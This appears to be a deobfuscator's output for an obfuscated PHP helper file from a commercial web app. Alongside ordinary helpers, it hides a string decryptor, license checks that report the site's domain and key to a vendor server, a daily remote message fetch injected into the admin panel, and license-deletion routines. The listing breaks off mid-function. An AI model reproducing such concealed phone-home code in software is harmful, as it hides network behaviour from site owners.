(!function_exists("\143\165\163\x74\157\155\137\x75\162\154")) { function custom_url($uri = '', $extension = '', $version = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "\77") !== FALSE) { $uri .= "\x26\x76\75{$version}"; } else { $uri .= "\77\166\75{$version}"; } } return get_instance()->config->custom_url($uri, $extension, $protocol); } } goto mD3IV; zIBb1: if (!function_exists("\x5f\x5f\141\x70\160\137\x73\155\137\144\x65\143\162\171\160\x74\166\x32")) { function __app_sm_decryptv2($cipher, $key = "\x77\167\160\x62\x72") { if (empty($cipher)) { return ''; } $cipher = base64_decode($cipher); $ki = 0; $keylen = strlen($key); $ki = $keylen - 1; $length = strlen($cipher); $temp = ''; for ($i = 0; $i < $length; $i++) { if ($ki == 0) { $ki = $keylen - 1; } $temp[$i] = chr(ord($cipher[$i]) - $i * ord($key[$ki])); $ki--; } if (is_array($temp)) { $temp = implode('', $temp); } $plain = $temp; $plain = base64_decode($plain); return $plain; } } goto O6AS0; MXWLt: if (class_exists("\101\144\x64\117\156\115\141\x6e\141\147\x65\162")) { AddOnManager::AddFilter("\162\x61\x74\x65\x2d\151\164\55\x6c\x69\156\x6b", function ($link) { $register_object = _SSBase::GetRegisterInfo(); if (!empty($register_object->rating_link)) { $link = $register_object->rating_link; } return $link; }); } goto FeVaa; hb4Bu: if (!function_exists("\x72\145\155\157\166\x65\x5f\152\163")) { function remove_js($uri) { $ci = get_instance(); $ci->load->remove_js($uri); } } goto SQr_i; cthCR: if (!function_exists("\x53\x65\x74\120\x72\x6f\144\x75\143\x74\163\x42\141\x73\x65\x57\x68\145\162\x65\x50\162\157\x70\145\x72\x74\151\x65\x73")) { function SetProductsBaseWhereProperties(&$obj, $property, $isForUpdate = FALSE) { $admindata = Mapp_user::GetAdminData(); if ($admindata && !$admindata->IsSuperUser()) { if (!$isForUpdate) { if ($obj->IsSetPrperty($property) && !$obj->hasPrpertyOpt($property)) { if (!$admindata->hasProductBasePermission($this->{$property})) { $obj->{$property}(''); } } else { $obj->{$property}($admindata->getProductBaseSQLInValue(), true); } } else { if ($obj->IsSetWherePrperty($property) && !$obj->hasWherePrpertyOpt($property)) { $product = $obj->getWherePrperty($property); if (!$admindata->hasProductBasePermission($product)) { $obj->SetWhereCondition($property, ''); } } else { $obj->SetWhereCondition($property, $admindata->getProductBaseSQLInValue(), true); } } } } } goto vpCTh; JROR2: if (!function_exists("\141\160\160\x5f\144\141\x74\x65\x5f\x66\x6f\x72\x6d\141\164")) { function app_date_format($timestr = null, $withTime = true) { if ($timestr && (strtotime($timestr) === FALSE || strtotime($timestr) <= 0)) { return "\x2d"; } $ci = get_instance(); if ($withTime) { $dateformate = $ci->config->item("\164\151\x6d\145\x5f\146\157\x72\x6d\x61\x74"); } else { $dateformate = $ci->config->item("\144\141\x74\145\137\x66\x6f\162\155\141\x74"); } if (empty($dateformate)) { if ($withTime) { $dateformate = "\115\40\144\54\x59\x20\x68\72\151\72\163\x20\x41"; } else { $dateformate = "\115\40\144\x2c\131"; } } $timestr = $timestr ? strtotime($timestr) : time(); return date($dateformate, $timestr); } } goto Sb74q; TBuwb: if (!function_exists("\141\160\160\137\147\x65\156\x65\162\x61\164\145\137\165\x6e\151\161\x75\x65\x5f\x69\144")) { function app_generate_unique_id($session_id, $lmc, $mmc, $lm2, $lm4) { if (!empty($session_id)) { $hash = substr($session_id, $lm2, $lm4) . substr($session_id, 0, $lm2); $mainCode = substr($session_id, 32); $unique_id = hash("\143\x72\143\63\x32\x62", $session_id); $mainCode = base64_decode($mainCode); $codelen = strlen($mainCode); $encCode = ''; for ($i = 0; $i < $codelen; $i++) { $ad = 0; if ($i % 2 == 0) { $ad = $lmc; } else { $ad = $mmc; } $ch = substr($mainCode, $i, 1) . ''; $encCode .= chr(ord($ch) - $ad); } if ($hash == md5($encCode)) { $_d = str_rot13("\157\156\x66\x72\66\x34\137\161\x72\160\142\161\162"); } else { } return $unique_id; } return ''; } } goto HPJ8E; GmynP: if (!function_exists("\107\145\x74\x4c\x6f\147")) { function GetLog() { $parm = func_get_args(); $msgCode = strtolower($parm[0]); $ci = get_instance(); $ci->lang->load("\x6c\x6f\147\137\x6d\163\x67"); $isLoaded = $ci->lang->line("\114\x6f\147\x4c\157\141\x64\x65\x64"); $full_msg = "\x2d"; if ($isLoaded) { $full_msg = $ci->lang->line($msgCode); } $callarray = array(); $callarray[] = $full_msg; if (!empty($parm[1])) { $callarray[] = $parm[1]; } return call_user_func_array("\x73\160\x72\151\x6e\x74\x66", $callarray); } } goto VW8rG; lTWn6: if (!function_exists("\x41\144\x64\x45\x72\162\157\162")) { function AddError($msg, $isSession = false, $is_unique = false, $already_translated = false) { return APP_Output::AddError($msg, $isSession, $is_unique, $already_translated); } } goto S_iw2; E9VzZ: if (!function_exists("\x44\x6f\x41\103\165\x72\154\x50\x6f\x73\164\122\145\161\x75\x65\x73\x74")) { function DoACurlPostRequest($url, $postparm) { if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) { return; } $url = app_trim($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postparm); $result = curl_exec($ch); curl_close($ch); return $result; } } goto j4tJz; LNnE1: if (!function_exists("\147\145\164\124\x65\170\164\x42\171\113\x65\171")) { function getTextByKey($key, $data = array()) { return !empty($data[$key]) ? $data[$key] : $key; } } goto JROR2; mkocz: if (!function_exists("\x73\x61\x76\145\x5f\x63\141\143\x68\145\137\144\141\164\x61")) { function save_cache_data($cacheid, $data, $time = 300, $isForce = false) { $ci = get_instance(); if (!$isForce && !$ci->config->item("\143\165\x73\164\157\155\x5f\x63\141\x63\150\145")) { return; } $cachePath = APPPATH . "\143\141\x63\150\x65\x2f"; if (!is_dir($cachePath)) { mkdir($cachePath, 493, true); } if (is_writable($cachePath)) { if (!property_exists($ci, "\143\x61\x63\x68\145")) { $cache_prefix = get_cache_prefix(); $ci->load->driver("\x63\x61\x63\x68\x65", array("\141\144\x61\160\x74\x65\162" => "\141\x70\x63", "\142\141\x63\x6b\x75\160" => "\x66\151\154\145", "\153\145\x79\137\x70\x72\x65\x66\151\x78" => $cache_prefix)); } $ci->cache->save($cacheid, $data, $time); } } set_my_model("\x6e\143\143\137\164\162\x61\x72\145\156\x67\162\x5f\x68\141\x76\144\150\162\137\166\x71"); } goto CmLF7; H9ZjK: if (!function_exists("\x5f\137\162\145\x6d\x6f\166\x65\x5f\141\160\x70\x5f\x64\x62\137\x69\156\146\x6f")) { function __remove_app_db_info() { $ci = get_instance(); $PluginPackage = $ci->config->item("\141\160\x70\x5f\142\141\163\x65\137\x63\157\144\x65"); app_del_setting($PluginPackage . "\x75\160\x64\x61\164\x65"); app_del_setting("\167\x70\154\151\143\164\171\160\x65"); app_del_setting("\167\160\154\151\143\164\x69\164\154\x65"); app_del_setting($PluginPackage . "\x63\x74\151\155\x65"); app_del_setting("\x77\x70\x64\157\x6d\x61\x69\156"); app_del_setting($PluginPackage . "\163\164\141\164\x75\163"); Mapp_setting::DeleteSettingsValue("\154\x69\x63\163\x74\162"); } } goto gPB35; y9b9o: if (!function_exists("\122\x65\x71\x75\x65\x73\x74\126\x61\x6c\165\145")) { function RequestValue($name, $default = '', $isXsClean = true, $isNoTrim = false) { $ci = get_instance(); $requestValue = $ci->input->post_get($name, $isXsClean); if (!$isNoTrim) { if (!empty($requestValue)) { $requestValue = app_trim($requestValue); } } return !empty($requestValue) ? $requestValue : $default; } } goto UDUD1; j4tJz: if (!function_exists("\x61\144\144\x5f\143\x73\x73")) { function add_css($uri, $level = 10, $isNoneCacheable = false, $isNonVersionAble = false, $id = '') { $ci = get_instance(); $ci->load->css($uri, $level, $isNoneCacheable, $isNonVersionAble, $id); } } goto OOOU3; c9N7_: if (!function_exists("\137\x5f\151\163\137\142\x61\163\145\137\x68\141\x73\x68\x5f\x64\x65\x66\x61\x75\154\x74")) { function __is_base_hash_default() { return "\144\141\143\x31\65\x39\70\66"; } } goto RHURb; zN8pC: if (!function_exists("\x73\x74\x61\164\165\163\x5f\x74\x78\x74")) { function status_txt($status_code) { $status = array("\101" => "\74\163\x70\141\156\40\143\154\141\163\x73\x3d\47\164\145\170\164\x2d\163\165\x63\x63\x65\163\x73\x27\x3e\101\143\x74\x69\x76\x65\74\57\x73\160\x61\156\76", "\x49" => "\x3c\163\160\141\x6e\x20\143\x6c\x61\163\x73\x3d\47\x74\145\170\x74\x2d\x64\141\x6e\147\x65\162\x27\x3e\x49\x6e\141\x63\x74\x69\x76\145\x3c\x2f\163\x70\x61\x6e\76", "\131" => "\74\163\160\141\x6e\x20\x63\154\141\x73\163\75\x27\x74\x65\x78\x74\x2d\x73\165\143\x63\145\163\x73\47\76\131\145\163\74\57\163\x70\141\x6e\76", "\x4e" => "\x3c\163\160\x61\x6e\40\x63\x6c\141\x73\163\75\x27\x74\x65\170\x74\55\144\x61\156\147\145\x72\47\76\116\157\x3c\x2f\x73\160\141\156\x3e"); return !empty($status[$status_code]) ? $status[$status_code] : $status_code; } } goto LNnE1; jh6I5: if (!function_exists("\x41\144\x64\111\x6e\x66\x6f")) { function AddInfo($msg, $isSession = false, $is_unique = false) { return APP_Output::AddInfo($msg, $isSession, $is_unique); } } goto rgEJG; bdo8a: if (!function_exists("\x63\x75\x72\162\145\x6e\x74\x5f\x75\x72\154")) { function current_url($isWithParam = true) { $CI =& get_instance(); $urirequest = !empty($_SERVER["\121\125\x45\122\131\x5f\123\x54\x52\111\116\107"]) ? $_SERVER["\x51\x55\x45\x52\131\x5f\123\x54\x52\111\x4e\107"] : ''; if ($isWithParam && !empty($urirequest)) { return $CI->config->site_url($CI->uri->uri_string()) . "\x3f" . $urirequest; } else { return $CI->config->site_url($CI->uri->uri_string()); } } } goto ntB5l; JL0_b: if (!function_exists("\101\x64\144\x44\x65\142\165\x67")) { function AddDebug($msg, $isSession = false) { return true; } } goto jh6I5; ObuoT: if (!function_exists("\147\x65\164\137\x6c\151\143\145\156\163\x65\137\151\156\x66\x6f")) { function get_license_info() { $info = _SSBase::GetRegisterInfo(); $obj = new stdClass(); $obj->status = !empty($info->is_valid); $obj->license_key = !empty($info->license_key) ? $info->license_key : ''; $obj->license_type = !empty($info->license_title) ? $info->license_title : ''; $obj->license_title = !empty($info->license_title) ? $info->license_title : ''; $obj->license_domain = !empty($info->domain) ? $info->domain : base_url(); return $obj; } } goto cy2h8; oW3vK: if (!function_exists("\107\x65\x74\125\x73\145\x72\x44\141\x74\141")) { function GetUserData() { $ci = get_instance(); return $ci->session->GetUserData(); } } goto MXWLt; mD3IV: if (!function_exists("\164\145\x6d\x70\154\141\x74\145\x5f\x6a\x73")) { function template_js($uri = '', $version = '', $protocol = NULL) { $jsurl = js_url($uri, $version, $protocol); $ci = get_instance(); $ci->load->template_js($jsurl); } } goto gIl1J; gPB35: if (!function_exists("\137\x5f\x6d\163\x67\137\x63\x68\145\143\153")) { function __msg_check() { $last_tried_time = Mapp_setting::GetSettingsValue("\x6d\x73\x67\x5f\154\x61\163\164\x5f\164\162\151\145\x64"); if (empty($last_tried_time) || strtotime("\53\40\61\x20\x44\x41\131", $last_tried_time) < time()) { Mapp_setting::UpdateSettingsOrAdd("\155\x73\147\137\154\141\163\x74\x5f\164\x72\151\x65\144", time(), "\137\155\164", "\131", "\x54"); $obj_msg = __app__get_server_url_objs(); $msg_str = @file_get_contents($obj_msg->msg_url); $msg_json = json_decode($msg_str); if (!empty($msg_json->m) && is_array($msg_json->m) && count($msg_json->m) > 0) { foreach ($msg_json->m as $mj) { if (!Msystem_msg::IsTagExist("\x53\123\x4d" . $mj->id, null)) { Msystem_msg::AddSuccessMsg("\x53\x53\115" . $mj->id, $mj->title, $mj->msg, "\117", true); } } } return true; } } } goto PDcmO; cy2h8: if (!function_exists("\x67\x65\x74\x5f\142\141\163\x65\x5f\144\157\155\x61\151\x6e")) { function get_base_domain() { $domain = base_url(); $domain = strtolower($domain); $domain = str_replace(array("\150\164\164\160\x3a\x2f\57", "\x68\164\164\x70\x73\x3a\57\x2f"), '', $domain); $domain = str_replace("\167\167\x77\x2e", '', $domain); return $domain; } } goto irJQV; RJzV2: if (!function_exists("\137\137\x61\x70\x70\x5f\137\143\x68\x65\143\x6b\x5f\x6c\x69\143")) { function __app__check_lic($pkey, $setDomain = false) { $obj = __app__get_basic_param($pkey); $url = __app__get_server_url(); $response = __app_talk_with_server($url, $obj, "\141\160\x69\x32"); if ($response && is_object($response)) { if (empty($response->domain)) { $response->domain = $obj->domain; } } return $response; } } goto hXe8M; Sb74q: if (!function_exists("\x53\150\157\x77\124\141\x62\x6c\x65\106\x72\157\155\101\162\162\x61\x79")) { function ShowTableFromArray($objectsarray) { $skiped = array("\163\145\x74\164\145\144\120\162\157\160\145\162\164\x79\x66\x6f\x72\114\157\x67", "\144\x62", "\x41\x75\x74\150\145\x6e\164\151\x63\141\x74\157\162"); if (is_array($objectsarray)) { ?>
Function Calls
None |
Stats
MD5 | af41fdc4b8184233271ceac4a0343b90 |
Eval Count | 0 |
Decode Time | 70 ms |